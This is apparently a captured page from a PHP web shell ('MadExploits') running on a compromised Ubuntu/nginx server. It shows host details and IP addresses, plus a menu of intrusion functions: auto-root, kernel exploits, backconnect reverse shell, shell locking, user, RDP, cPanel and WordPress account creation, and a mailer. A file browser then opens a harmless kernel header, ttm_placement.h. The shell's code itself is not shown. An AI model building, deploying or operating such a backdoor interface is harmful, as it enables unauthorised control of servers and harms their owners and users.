Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-160 /
include /
drm /
ttm /
[ HOME SHELL ]
Name
Size
Permission
Action
ttm_bo_api.h
18.82
KB
-rw-r--r--
ttm_bo_driver.h
10.07
KB
-rw-r--r--
ttm_caching.h
1.37
KB
-rw-r--r--
ttm_device.h
8.59
KB
-rw-r--r--
ttm_execbuf_util.h
4.38
KB
-rw-r--r--
ttm_kmap_iter.h
1.85
KB
-rw-r--r--
ttm_placement.h
2.77
KB
-rw-r--r--
ttm_pool.h
2.75
KB
-rw-r--r--
ttm_range_manager.h
967
B
-rw-r--r--
ttm_resource.h
8.85
KB
-rw-r--r--
ttm_tt.h
6.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ttm_placement.h
/************************************************************************** * * Copyright (c) 2006-2009 VMware, Inc., Palo Alto, CA., USA * All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDERS, AUTHORS AND/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE * USE OR OTHER DEALINGS IN THE SOFTWARE. * **************************************************************************/ /* * Authors: Thomas Hellstrom <thellstrom-at-vmware-dot-com> */ #ifndef _TTM_PLACEMENT_H_ #define _TTM_PLACEMENT_H_ #include <linux/types.h> /* * Memory regions for data placement. */ #define TTM_PL_SYSTEM 0 #define TTM_PL_TT 1 #define TTM_PL_VRAM 2 #define TTM_PL_PRIV 3 /* * TTM_PL_FLAG_TOPDOWN requests to be placed from the * top of the memory area, instead of the bottom. */ #define TTM_PL_FLAG_CONTIGUOUS (1 << 0) #define TTM_PL_FLAG_TOPDOWN (1 << 1) /* For multihop handling */ #define TTM_PL_FLAG_TEMPORARY (1 << 2) /** * struct ttm_place * * @fpfn: first valid page frame number to put the object * @lpfn: last valid page frame number to put the object * @flags: memory domain and caching flags for the object * * Structure indicating a possible place to put an object. */ struct ttm_place { unsigned fpfn; unsigned lpfn; uint32_t mem_type; uint32_t flags; }; /** * struct ttm_placement * * @num_placement: number of preferred placements * @placement: preferred placements * @num_busy_placement: number of preferred placements when need to evict buffer * @busy_placement: preferred placements when need to evict buffer * * Structure indicating the placement you request for an object. */ struct ttm_placement { unsigned num_placement; const struct ttm_place *placement; unsigned num_busy_placement; const struct ttm_place *busy_placement; }; #endif
Close